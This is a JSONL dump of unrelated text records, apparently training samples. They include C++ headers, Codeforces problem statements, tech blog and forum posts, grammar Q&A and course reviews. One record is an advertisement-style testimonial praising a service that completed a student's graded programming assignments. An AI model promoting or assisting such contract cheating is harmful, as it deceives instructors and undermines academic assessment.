annoID);\n\tvoid AddCursor();\n\tvoid DeleteCursor(short cursorID);\n\tvoid AboutBox();\n};\n\n//{{AFX_INSERT_LOCATION}}\n// Microsoft Visual C++ will insert additional declarations immediately before the previous line.\n\n#endif // !defined(AFX_NTGRAPH_H__CF55B0EC_CF41_453C_BFEB_4740927AE8B3__INCLUDED_)", "source": "cpt_stack_code", "language": "code", "token_count": 1635, "token_count_with_eod": 1636, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "We here at MakeTechEasier got a lot of positive feedback on our coverage of Google Wave, along with quite a few requests for additional information. So here, by reader request, is the second installment of Wave. Today we’ll be covering some of the more advanced and detailed features that didn’t fit into the original post. In this installment we’ll take a look at Wave’s use of folders, contacts, extensions, and believe it or not, even scroll bars.\nOne of GMail’s strengths is its ability to handle large volumes of email while allowing you to keep things organized. Wave built on GMail’s experience and has also included some useful features for keeping things in order. For starters, you’ve got Folders which work like GMail’s labels and everything else’s… well… folders. You can drag and drop waves into these folders and they will not show up in your inbox. To view that message you can either click the title of the folder or choose All at the top of the Navigation pane.\nAs you can see in the screenshot, you can also colorize each of the folders individually. I can see how this could be helpful if you have a LOT of folders and want to use colors to group them together, or if there’s a particular folder you want to keep highlighted to catch your eye.\nIn addition to managing waves through folders, you also have two ways to essentially forget about a message until it’s needed. First, you can Mute a wave, so that it no longer shows up as unread even when it has been modified by others. If you just want a wave out of your inbox but still want to know when it’s been updated, you can Archive that message. You won’t see it until someone makes an update to that wave. Both muted and archived waves will show up in searches and in the All section.\nI’ve found it useful to archive almost everything. When a wave has pretty clearly ended, I’ll set it to Archive and leave only messages I intend to keep alive in my inbox. If anyone happens to update one of those waves, it’ll pop right back up in my inbox like normal. Without this I think it wouldn’t take long for Wave to feel a bit overwhelming, if you use it frequently.\nOne messaging feature I really like is the ability to embed a reply inside the original message. In this example, Tara wrote the original message, and instead of creating a separate reply or copy & pasting her words, I can choose any spot in her message and insert my reply.\nLet’s say you’re in a wave with everyone at the office. Your boss is discussing the importance of TPS reports. Suddenly, a witty remark pops into your head, and you have a choice. Do you uphold your status as the office comedian, or bite your tongue to keep your job? Wave provides a third option – create a private branch. Only the people specified in that branch can see those messages. In this example screenshot, there are many people in the wave but only the person I included in my private reply can see what I wrote.\nThe only really notable feature about the contacts is that you can do an incremental search for people in your contact list, as demonstrated below. My only complaint is that Wave does not apparently include GMail type status messages with the contacts. I’ve seen no word so far on whether or not that will be a feature in future Wave revisions.\nWe covered extensions briefly in our first report on Wave, but there’s plently more to be said. Extensions can be installed and removed through the Extensions Gallery, which is a wave itself. For me, the extension gallery showed up in my inbox the day after I activated my Wave account. In it is a list of available extensions you can choose to install.\nOne of the most notable aspects of Wave in regards to extensions is they Google strongly encourages independent developers to create their own Wave extensions. The recommended language is Java but they also have a Python client library. As a fan of Python I think this is great news.\nWith the many clever options Wave provides for message management and extensions, Wave is clearly going to be a contender for online communications. Right now the biggest obstacle is establishing a firm user base, as Wave is only useful if all your friends and associates also use it. Leaving the system open will work to Google’s benefit in that sense, as future users won’t be limited to just the official Wave website and client, but will be able to communicate over any wave-compatible platform. I, for one, look forward to seeing what the future holds for Wave.\nOur latest tutorials delivered straight to your inbox", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 942, "token_count_with_eod": 943, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Conditional Expressions don't solve the problem\ndale at riverhall.NOTHANKS.co.uk\nThu Oct 18 14:26:38 CEST 2001\nsalemail at dial.pipex.com (Kevin D) wrote:\n>Dale Strickland-Clark <dale at riverhall.NOTHANKS.co.uk> wrote in message news:<pehrstk4sg9uhcugmrfeharqsvdbf6t4be at 4ax.com>...\n>> But worst of all is that I can't assign a value and test it at the\n>> same time. It means I have to add at least an extra line of code and I\n>> have to retype a variable name. It makes for more verbose code and it\n>> reduces my productivity.\n>Are you sure you need to \"assign a value and test it at the same time\"\n> Are you saying that just because that's what you're used to from C ?\n>What are the _problems_ you encounter that make you wish for this\nToo many and varied to have any hope of addressing them all with\nspecific inventions. And why bother with other inventions when this\nsmall facility would do the job?\nAlso, why should I spend longer investigating a 'pythonic' solution\n(and some are pretty obscure) when I *know* my 'traditional' construct\nwill do the job nicely and very transparetly to most programmers.\n> What are the alternative solutions to those problems ?\nRiverhall Systems Ltd\nMore information about the Python-list", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 329, "token_count_with_eod": 330, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Родители Васи хотят, чтобы он как можно лучше учился. Поэтому если он получает подряд три положительные оценки («четвёрки» или «пятёрки»), они дарят ему подарок. Соответственно, оценки «единица», «двойка» и «тройка» родители Васи считают плохими. Когда Вася получает подряд три хорошие оценки, ему сразу вручают подарок, но для того, чтобы получить ещё один подарок, ему вновь надо получить подряд ещё три хорошие оценки.\n\nНапример, если Вася получит подряд пять «четвёрок» оценок, а потом «двойку», то ему дадут только один подарок, а вот если бы «четвёрок» было уже шесть, то подарков было бы два.\n\nЗа месяц Вася получил n оценок. Вам предстоит посчитать количество подарков, которые получил Вася. Оценки будут даны именно в том порядке, в котором Вася их получал.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/*\n * Copyright 2020 The TensorFlow Runtime Authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n// MatMul + Fusion kernel implementation (fusion added via output kernel).\n\n#ifndef TFRT_BACKENDS_CPU_LIB_KERNELS_CPU_FUSED_MATMUL_KERNEL_H_\n#define TFRT_BACKENDS_CPU_LIB_KERNELS_CPU_FUSED_MATMUL_KERNEL_H_\n\n#include \"./matmul_kernel.h\"\n#include \"tfrt/common/compat/eigen/contraction_output_kernel.h\"\n#include \"tfrt/common/compat/eigen/eigen_dtype.h\"\n#include \"tfrt/common/compat/eigen/eigen_evaluator.h\"\n#include \"tfrt/common/compat/eigen/eigen_kernel.h\"\n#include \"tfrt/common/compat/eigen/tensor_types.h\"\n#include \"tfrt/support/forward_decls.h\"\n#include \"tfrt/tensor/dense_host_tensor.h\"\n#include \"tfrt/tensor/dense_host_tensor_view.h\"\n\nnamespace tfrt {\nnamespace cpu {\nnamespace {\n\ntemplate <typename OutputKernel, typename T, typename EigenEvaluator>\ntypename EigenEvaluator::DependencyToken FusedMatMulInternal(\n    const DenseHostTensor& a, const DenseHostTensor& b, DenseHostTensor* output,\n    const DenseHostTensor& fusion_input, bool transpose_a, bool transpose_b,\n    EigenEvaluator eigen) {\n  DHTArrayView<T> bias_view(&fusion_input);\n  OutputKernel output_kernel(compat::AsEigenConstTensor(bias_view));\n  return cpu::MatMul<T>(1.0, a, b, 0.0, output, transpose_a, transpose_b,\n                        std::move(output_kernel), eigen);\n}\n\n}  // namespace\n\ntemplate <typename T, typename EigenEvaluator, typename FuseInputsRange>\ntypename EigenEvaluator::DependencyToken FusedMatMul(\n    const DenseHostTensor& a, const DenseHostTensor& b, DenseHostTensor* output,\n    FuseInputsRange fusion_inputs, bool transpose_a, bool transpose_b,\n    AggregateAttr fused_ops_attr, const ExecutionContext& exec_ctx) {\n  static_assert(std::is_same<std::decay_t<decltype(fusion_inputs[0])>,\n                             DenseHostTensor>::value,\n                \"fusion_inputs must be a range of DenseHostTensor\");\n\n  EigenEvaluator eigen{exec_ctx.host()};\n\n  // Parse the MatMul fusion config.\n  llvm::SmallVector<string_view, 4> fused_ops(fused_ops_attr.GetNumElements());\n  for (int i = 0; i < fused_ops_attr.GetNumElements(); ++i) {\n    fused_ops[i] = fused_ops_attr.GetAttribute(i).cast<StringAttr>().GetValue();\n  }\n\n  if (fused_ops.empty()) {\n    return eigen.MakeError(\"FusedMatMul must specify fused operations\");\n  }\n\n  // Match the fusion to Eigen contraction output kernel.\n  auto match_fusion = [&](std::initializer_list<string_view> ops) -> bool {\n    return fused_ops.size() == ops.size() &&\n           std::equal(fused_ops.begin(), fused_ops.end(), ops.begin());\n  };\n\n  // Dispatch fusion to correct Eigen contraction output kernel.\n  // Validate BiasAdd operands.\n  if (fused_ops[0] == \"BiasAdd\") {\n    auto& bias = fusion_inputs[0];\n\n    if (bias.shape().GetRank() != 1)\n      return eigen.MakeError(\"Bias tensor must a vector\");\n\n    const Index inner_dim = output->shape().GetDimensionSize(1);\n    if (bias.NumElements() != inner_dim)\n      return eigen.MakeError(\"The number of bias elements \", bias.NumElements(),\n                             \" doesn't match output inner dimension \",\n                             inner_dim);\n  }\n\n  // Fusion: BiasAdd\n  if (match_fusion({\"BiasAdd\"})) {\n    return FusedMatMulInternal<compat::BiasAddOutputKernel<T>, T>(\n        a, b, output, fusion_inputs[0], transpose_a, transpose_b, eigen);\n  }\n\n  // Fusion: BiasAdd + Relu\n  if (match_fusion({\"BiasAdd\", \"Relu\"})) {\n    return FusedMatMulInternal<compat::BiasAddOutputKernel<T, compat::Relu>, T>(\n        a, b, output, fusion_inputs[0], transpose_a, transpose_b, eigen);\n  }\n\n  // Fusion: BiasAdd + Relu6\n  if (match_fusion({\"BiasAdd\", \"Relu6\"})) {\n    return FusedMatMulInternal<compat::BiasAddOutputKernel<T, compat::Relu6>,\n                               T>(a, b, output, fusion_inputs[0], transpose_a,\n                                  transpose_b, eigen);\n  }\n\n  // Fusion: BiasAdd + Elu\n  if (match_fusion({\"BiasAdd\", \"Elu\"})) {\n    return FusedMatMulInternal<compat::BiasAddOutputKernel<T, compat::Elu>, T>(\n        a, b, output, fusion_inputs[0], transpose_a, transpose_b, eigen);\n  }\n\n  return eigen.MakeError(\"Unsupported fusion type\");\n}\n\n}  // namespace cpu\n}  // namespace tfrt\n\n#endif  // TFRT_BACKENDS_CPU_LIB_KERNELS_CPU_FUSED_MATMUL_KERNEL_H_", "source": "cpt_stack_code", "language": "code", "token_count": 1277, "token_count_with_eod": 1278, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "I know that 「か」in the middle of a sentence can be used for embedded questions or as \"or,\" but I don't see any of that here.\nThe embedded \"question\" in this case isn't really a question, but it is there\nis the English equivalent of\nHow hard you're working\nFor a very direct translation that comes out to something like\nI'm worried about how hard you're working\nThough it's worth noting that while the English sounds like something you would say to someone who you were worried was working too hard, the above Japanese sounds to me like it means the opposite. Of course it's very difficult to be certain without context.\nか in subordinate clauses to talk about the degree or manner of something is very common, the same way\nhow is used in subordinate clauses in English. Here's another example from an online dictionary:\nWorry about how one is being perceived\n思われてる of course literally means \"thought of\" for \"how one is being thought of\". \"Perceived\" is just more natural English.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 217, "token_count_with_eod": 218, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Aug 19, 2020\nThank you Professor Dorian A. Canelas! It made me much more easier to understand the basic principles of chemistry and it builds me a lot of confidence in answering some of the problems in chemistry.\nJun 12, 2020\nIt is a wonderful course for Middle school students. A first course in Chemistry, for the gifted students who will do AP Chemistry. Not suitable for adult learners who need an advanced introduction.\n创建者 Lukas K•\nDec 17, 2017\nI learnd many things in this cours and it was as well fun\nJan 20, 2022\nGreat course, highly recommend for chemistry beginners!\n创建者 Lindiwe K•\nMay 18, 2020\nIt was soo educative I enjoyed every lesson.\n创建者 Anastasia S•\nJul 18, 2021\nI think it's one of the best classes out here so far!\n创建者 Carl J•\nApr 20, 2021\nSolid course. Easy to understand and great refresher!\n创建者 Prakash V•\nNov 17, 2020\nreally excellent course by dr. Dorian! well explained\n创建者 Prashant K M•\nApr 11, 2018\nIt was a very interesting course. I enjoyed it a lot!\n创建者 Jose C G•\nDec 27, 2017\nMuy bueno para aprender la introducción a la química.\n创建者 Jeyaseeli F•\nAug 5, 2021\nsuper duper .............. chemistry lecture .......\n创建者 Omkar P•\nOct 3, 2020\nvery understandable contents and excellent teaching\n创建者 Nataliya C•\nAug 1, 2020\nAmazing Professor. She explains everything so good!\n创建者 Amira A•\nAug 14, 2020\nImportant course with good and various information\nJul 10, 2019\nthe teacher is the best, also she is really funny\n创建者 Iram I•\nOct 9, 2021\nIt was amazing to learn chemistry by this course\n创建者 Daniela M•\nMar 19, 2022\nAmazing teacher, super clear for beginners too!\n创建者 Lorena R•\nDec 13, 2020\nExcellent course, excellent teacher, thank you!\n创建者 Alexander S•\nJul 2, 2021\nThank you for the efficient and useful course!\n创建者 Albert K•\nJul 31, 2020\nThank you so much. This is excellent course\nJun 15, 2020\nThis course has helped to refresh my basics\n创建者 Afsar u D•\nMay 13, 2020\nit is excellent course for basic chemistry\n创建者 Dr. S J M•\nApr 30, 2020\nThe course was helpful and encouraging ...\n创建者 Liz C•\nJun 19, 2017\nThanks Dr Canelas! You gave me confidence.\nMar 11, 2021\nReally great course. Fun and interactive!\n创建者 Mauritius X•\nOct 20, 2017\nI learned something new. That was my goal", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 758, "token_count_with_eod": 759, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Getting closer and closer to a mathematician, Serval becomes a university student on math major in Japari University. On the Calculus class, his teacher taught him how to calculate the expected length of a random subsegment of a given segment. Then he left a bonus problem as homework, with the award of a garage kit from IOI. The bonus is to extend this problem to the general case as follows.\n\nYou are given a segment with length $$$l$$$. We randomly choose $$$n$$$ segments by choosing two points (maybe with non-integer coordinates) from the given segment equiprobably and the interval between the two points forms a segment. You are given the number of random segments $$$n$$$, and another integer $$$k$$$. The $$$2n$$$ endpoints of the chosen segments split the segment into $$$(2n+1)$$$ intervals. Your task is to calculate the expected total length of those intervals that are covered by at least $$$k$$$ segments of the $$$n$$$ random segments.\n\nYou should find the answer modulo $$$998244353$$$.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "$$$n$$$ people came to the festival and decided to dance a few round dances. There are at least $$$2$$$ people in the round dance and each person has exactly two neighbors. If there are $$$2$$$ people in the round dance then they have the same neighbor on each side.\n\nYou decided to find out exactly how many dances there were. But each participant of the holiday remembered exactly one neighbor. Your task is to determine what the minimum and maximum number of round dances could be.\n\nFor example, if there were $$$6$$$ people at the holiday, and the numbers of the neighbors they remembered are equal $$$[2, 1, 4, 3, 6, 5]$$$, then the minimum number of round dances is$$$1$$$:\n\n- $$$1 - 2 - 3 - 4 - 5 - 6 - 1$$$\n\n- $$$1 - 2 - 1$$$\n- $$$3 - 4 - 3$$$\n- $$$5 - 6 - 5$$$", "source": "cpt_codeforces", "language": "en", "token_count": 213, "token_count_with_eod": 214, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "In Veritas Operations Manager, you can edit the virtualization discovery that you have already configured.\nYou can edit a virtualization discovery configuration to modify the following information:\nName of the configuration.\nName of the VirtualCenter or HMC server that you have specified when you configured the virtualization discovery.\nCredentials to log on to the VirtualCenter or HMC server.\nTo edit a virtualization discovery configuration in Veritas Operations Manager\nIn the Veritas Operations Manager console, select Settings > Virtualization.\nIn the Virtualization Management view, in the table that displays the details of the virtualization discovery configurations, select the configuration that you want to edit.\nAt the top of the table, which displays the virtualization discovery configurations, click Actions > Edit Configuration.\nIn the Virtualization Configuration wizard panel, modify the required information, click Next.\nIn the Select option wizard panel, edit the method for virtualization discovery of the servers, click Finish.\nIn the result panel, view the progress of the configuration, click OK.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 212, "token_count_with_eod": 213, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I believe he is saying that anything he writes or links in a facebook post containing Fracking or Fracing seems to not go through.\nMaybe you ate too many cookies...\nI have had facebook not like videos I have posted which have copyrighted music. They wouldn't post our firework show because of the music that was playing gets flagged by their software as copyrighted. It would download, but never post, and never tell you anything, just wouldn't post.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 93, "token_count_with_eod": 94, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The SAP Pushbutton Graphics system presents you with a pushbutton pad. This pad contains buttons you can click on to request information, call up menus or execute specific programs.\nThe following figure shows an example of an SAP Pushbutton pad.\nWhat the buttons say and what they do when you click on them depends on the ABAP program you are running.\nFor more information, see the ABAP documentation.\nOn Apple frontends, a number of alternative and additional options are available for SAP Graphics. For more information, see the following topic:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 111, "token_count_with_eod": 112, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Words/Time: 30 minutes working on some prep for a series of posts for my Facebook author page.\nI have decided to post about each of the 7 Pithea books that are planned out enough for me to feel they’re worth sharing. For each book, I’ll post a series of posts with various information like a short synopsis, main character introductions, book stats, and small excerpts. I am currently working on the posts for the first book, “Pithea,” and what’s slowing me down is character introductions. I’ve always been terrible at trying to explain characters in a boiled-down sense.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 127, "token_count_with_eod": 128, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a rectangle grid. That grid's size is n × m. Let's denote the coordinate system on the grid. So, each point on the grid will have coordinates — a pair of integers (x, y) (0 ≤ x ≤ n, 0 ≤ y ≤ m).\n\nYour task is to find a maximum sub-rectangle on the grid (x1, y1, x2, y2) so that it contains the given point (x, y), and its length-width ratio is exactly (a, b). In other words the following conditions must hold: 0 ≤ x1 ≤ x ≤ x2 ≤ n, 0 ≤ y1 ≤ y ≤ y2 ≤ m, $$\\frac{x_{2}-x_{1}}{y_{2}-y_{1}}=\\frac{a}{b}$$.\n\nThe sides of this sub-rectangle should be parallel to the axes. And values x1, y1, x2, y2 should be integers.\n\nIf there are multiple solutions, find the rectangle which is closest to (x, y). Here \"closest\" means the Euclid distance between (x, y) and the center of the rectangle is as small as possible. If there are still multiple solutions, find the lexicographically minimum one. Here \"lexicographically minimum\" means that we should consider the sub-rectangle as sequence of integers (x1, y1, x2, y2), so we can choose the lexicographically minimum one.", "source": "cpt_codeforces", "language": "en", "token_count": 311, "token_count_with_eod": 312, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "A little clarification, as long as you have a legal activated copy up and\nrunning on the computer, yes I do believe you can install to a different\nDrive or partition. Before you install though, there are programs out\nthere that you can run to retrieve your install key. But for the life of me\nI can't think of the name right now.\nI'm sure someone here will supply it. Edit.\nI remember now http://www.magicaljellybean.com/\nThis should do the trick.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 107, "token_count_with_eod": 108, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Arkady is playing Battleship. The rules of this game aren't really important.\n\nThere is a field of $$$n \\times n$$$ cells. There should be exactly one $$$k$$$-decker on the field, i. e. a ship that is $$$k$$$ cells long oriented either horizontally or vertically. However, Arkady doesn't know where it is located. For each cell Arkady knows if it is definitely empty or can contain a part of the ship.\n\nConsider all possible locations of the ship. Find such a cell that belongs to the maximum possible number of different locations of the ship.", "source": "cpt_codeforces", "language": "en", "token_count": 125, "token_count_with_eod": 126, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Can we say \"my hobby is read book\"? Is it correct?\nIn the sense that you mean it, no.\nYour example contains is read. If read is the base form (as your question implies), this is not grammatical. [As it happens read is also the past participle of read (pronounced differently: the base form sounds the same as reed, but the past participle sounds the same as red), so is read can be grammatical; but it is passive, so something every night a book is read makes sense. But I don't think this is what you meant.]\nWhat I think you are trying to say is my hobby is reading books. Various things can follow is: a noun or noun phrase, an adjective or adjectival phrase, an adverb or adverbial phrase; but not a verb phrase. The -ing form of verbs acts like a noun, or introduces a clause which acts like a noun phrase. So reading books acts like a noun phrase, and can follow My hobby is.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "i recently updated to nero oem edition from express.when i start it it tells me to go to the nero site as it has a problem with my version of windows.i use xp home with sp2 installed.when i go to the site it tells me there is four downloads to do.can i get a friend to down load these to a cd as my download rate comes in at 1kbs per second on a dial up.is this possible to do ?any help please\nYou are able to download the items and save to file. I have done it. However whereas it states after the installation of SP2 there could be some problems with Nero and you therefore need the Nero updates I found a problem after installing the Nero updates and reversed back to the original version 6.3.02 and to the best of my knowledge there have been no problems with that setup.\nI've got Nero 6 and when i updated to SP2, my nero did not work so i went to nero site and saved the downloads to a folder on my computerand then ran the relivant upgrade and it's worked fine. This is great for me as if i need to wipe computer then the files are ready to upgrade when i'm ready and don't have to visit the site each time. follow this link for hdownloads: click here", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 267, "token_count_with_eod": 268, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is a copy of the help found inside CGI:IRC.\nThe interface of CGI:IRC is very similar to a standard graphical IRC client, it\nshould be easy to use if you are familiar with IRC clients. Along the top is a\nlist of tabs, there will be a tab here for each channel you are in and each\nquery (private message) you have open. To close a window click the X button on\nthe far right of the tab list.\nThe userlist is on the right, when in a channel tab it will show a list of all\nthe people in that channel. Double clicking a nickname will open a query with\nthat user or perform whichever other action you select in the select box at the\nThe text entry box should be simple, the little arrow to the right of the text\nentry area shows a toolbar that allows easy typing of colour, bold and underline. It is also where you enter all the commands.\nCommands begin with / and should be familar to anyone who has used IRC before\n- here is a quick summary of the most useful commands.\n|/me||This turns the text after /me into an action, eg: /me looks\n|/join||Joins the specified channel. eg: /join #cgiirc|\n|/list||Lists all the channels on the network (this outputs a lot\n|/part||Leaves the current channel (same as clicking the X while\nin the channel).|\n|/quit||Quits IRC totally (same as clicking X in Status window).|\n|/msg||Sends a private message to a user. eg: /msg someone Hi|\n|/whois||Gives some information about a user.|\nThe options window lets you change some settings in CGI:IRC. Hopefully it\nshould be fairly self explanatory, change a setting and it should take effect\nThere are several shortcuts to help make using CGI:IRC nicer, tab completion\nwhich will complete a nickname or channel when you press tab, alt+number will\ngo to that number window if you number the windows from the left (Status = 1\nand so on).\nCGI:IRC is written in Perl by David Leadbeater with help from lots of people. See the website\nfor more information.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 476, "token_count_with_eod": 477, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I have an issue with frequently occuring compass variance. Arducopter 4.1.3\nReviewing the log, it can be seen that there are big spikes especially with MAG in x-axis and z-axis. MAG does not show any spikes\n- Is MAG the internal or external compass? I am a bit confused about which MAG[xx] or MAGx.is the internal compass.\n- What is the reason for the spikes (up to -4gauss)\nThanks for your kind support\nI think from your settings that the first compass is external and is in use. This is correct.\nIt’s not badly affected by battery current and I see you’ve done the compass/motor calibration.\nThose glitches in Mag X are almost like a connector issue. The glitches are there in Y and Z axis too but not as bad.\nAlso GPS HDOP is getting too high for most of that flight. The GPS readings also have “glitches” but not at the same times as the compass readings. Maybe the whole unit is bad.\nCheck all your connectors, and measure that a good solid 5 volts DC is getting to your GPS unit.\nThanks very much for your help. Especially the hint that the FC also looses satellites frequently - which I have not noticed - was very helpful and made the focus clear to the GPS unit or cable.\nI changed the cable and made 5 flights altogether today and no problems/spikes anymore from Compass as well as stable hdop / numbers of satellites.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 311, "token_count_with_eod": 312, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I haven't noticed any changes to placements yet.\nThere's quite a lot of changes but they aren't too significant. Looks like Google spent a lot of time rewriting the old algorithm. So they wasn't the kind of disruption like after Jagger and Big Daddy updates.\nOriginally Posted by Zash\nInteresting article about caffeine. I speculate for the static sites \"fresh links to old content\" may have a similar effect to regularly publishing fresh content.\nOriginally Posted by ChillingBreeze\nCaffeine likes the Web 2.0 So lots of social media and publishing a stream with Google profiles should help - https://www.google.com/accounts/ServiceLogin?service=profiles&continue=http://www.google.com/profiles/me<mpl=landing\nWhy do google play with something that is not broke :(\nAre these changes going to be good or bad??\nI haven't noticed any changes... Have you? Ok, I did, I saw the results from Twitter(from few seconds ago) on first place in Google index... Is this part of caffeine?\nCaffeine is more than an algorithm update. Rather it updates the Google File System and infrastructure. So not only is Caffeine faster it will allow Google to do more things.\nOriginally Posted by robmac\nSo it's not so much what Caffeine does but \"what Caffeine will do\" in the future.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 284, "token_count_with_eod": 285, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Programming Assignment Help Provided\nI think two students had an A in our Java class. Funny enough both of us had our assignments completed by your Java assignment help team. Your programming assignment help team has simply been the best. In one of my papers, we were working until 4 am because the paper was due the following day. The tutor I had been assigned was good enough to keep updating me on the progress of the paper.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Last year the world's largest square was built in Berland. It is known that the square can be represented as an infinite plane with an introduced Cartesian system of coordinates. On that square two sets of concentric circles were painted. Let's call the set of concentric circles with radii 1, 2, ..., K and the center in the point (z, 0) a (K, z)-set. Thus, on the square were painted a (N, x)-set and a (M, y)-set. You have to find out how many parts those sets divided the square into.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "If i have an array 0 to 99 i.e,(Size 100) I place the values 1 to 100 randomly like a=29,a=56 upto array.. the values are only between 1 to 100. getting the array values by using scanf.. If i entered one wrong element value line a=108. how can i find it.. and also how to find the missing value in 1 to 100.. and i want to replace the missing values.. any one of them know please post your answer..1352\ncharacter array A can hold5 8053\nWrite a program for print infinite numbers3 8961\nHow to print India by nested loop? I IN IND INDI INDIA3 12293\nAn entire structure variable can be assigned to another structure variable if __________3 13489\nHow to print %d in output6 4770\nwat is the meaning of c?9 6956\nwhat is the output of below code int x=8,y; x>>=2; y=x; what is y value. NOTE:EXPLANATION IS COMPALSARY with binary bits2 4113\nWHAT IS ABSTRACT DATA TYPE4 4753\nSRUCTURE PROGRAMMING3 4974\nHow much bytes do integer and decimal data types hold in python?\nIs python good for machine learning?\nCould you explain aws auto scaling vs. Auto scaling for individual services?\nWhat is the stylesheet structure used with xslt?\nWhat will you do to improve your product or service or your company?\nHow will you calculate days between two dates in PHP?\nHow do I change apache to mpm?\nPlease tell me how to discuss about the salary in the hr interview. My current ctc is 3.32l and my expectation is 6.0 L. If they negotiate i can come up to 5.5l. How i can handle the situation. Please answer.\nHow can a user find \"commit work\" statement in the pm orders (t-code iw32)?\nWhat is a proxy object?\nWhat are the advantages of go?\nAre you aware of containment and Aggregation ?\nWhat is difference between path and classpath?\nHow do you make a website HTTPS?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 505, "token_count_with_eod": 506, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hello, I’m having a heck of a time trying to get persistent data for the install. When I take the stack down and bring it back up I always end up back at the installation screen. I’ve tried various combinations of named volumes, but, none work long term.\nI get one error during installation, nothing negative in the logs to correspond with this message in the front end. Otherwise, it appears that the installation is successful.\nHere’s a link to my yml file: https://github.com/joe-scalise/pydiocells.yml/blob/master/pydiocells.yml\nAnyone using Docker have named volumes working?\nI also have a very difficult time adding a data source for an NFS mount that already has files. My hardware may be the limiting factor during indexing, but, I can’t tell for sure. All I get is a timeout and data source not found error in the logs.\nAny thoughts appreciated.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 190, "token_count_with_eod": 191, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "ChthollyNotaSeniorious received a special gift from AquaMoon: $$$n$$$ binary arrays of length $$$m$$$. AquaMoon tells him that in one operation, he can choose any two arrays and any position $$$pos$$$ from $$$1$$$ to $$$m$$$, and swap the elements at positions $$$pos$$$ in these arrays.\n\nHe is fascinated with this game, and he wants to find the minimum number of operations needed to make the numbers of $$$1$$$s in all arrays the same. He has invited you to participate in this interesting game, so please try to find it!\n\nIf it is possible, please output specific exchange steps in the format described in the output section. Otherwise, please output $$$-1$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 149, "token_count_with_eod": 150, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "It doesn't work for me as well (Macbook / Lion 10.7.1). I DON'T see \"com.radiosilenceapp.nke.PrivateEye\" listed as well.\nI haven't moved the app to a different folder.\nDo let us know if this is resolved.\n* Edit: I also emailed everyone who had contacted me about this.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 79, "token_count_with_eod": 80, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The game of bingo is played on a 5 × 5 square grid filled with distinct numbers between 1 and 75. In this problem you will consider a generalized version played on an n × n grid with distinct numbers between 1 and m (m ≥ n2).\n\nA player begins by selecting a randomly generated bingo grid (generated uniformly among all available grids). Then k distinct numbers between 1 and m will be called at random (called uniformly among all available sets of k numbers). For each called number that appears on the grid, the player marks that cell. The score at the end is 2 raised to the power of (number of completely marked rows plus number of completely marked columns).\n\nDetermine the expected value of the score. The expected score may be very large. If the expected score is larger than 1099, print 1099 instead (for example as \"1e99\" without the quotes).", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
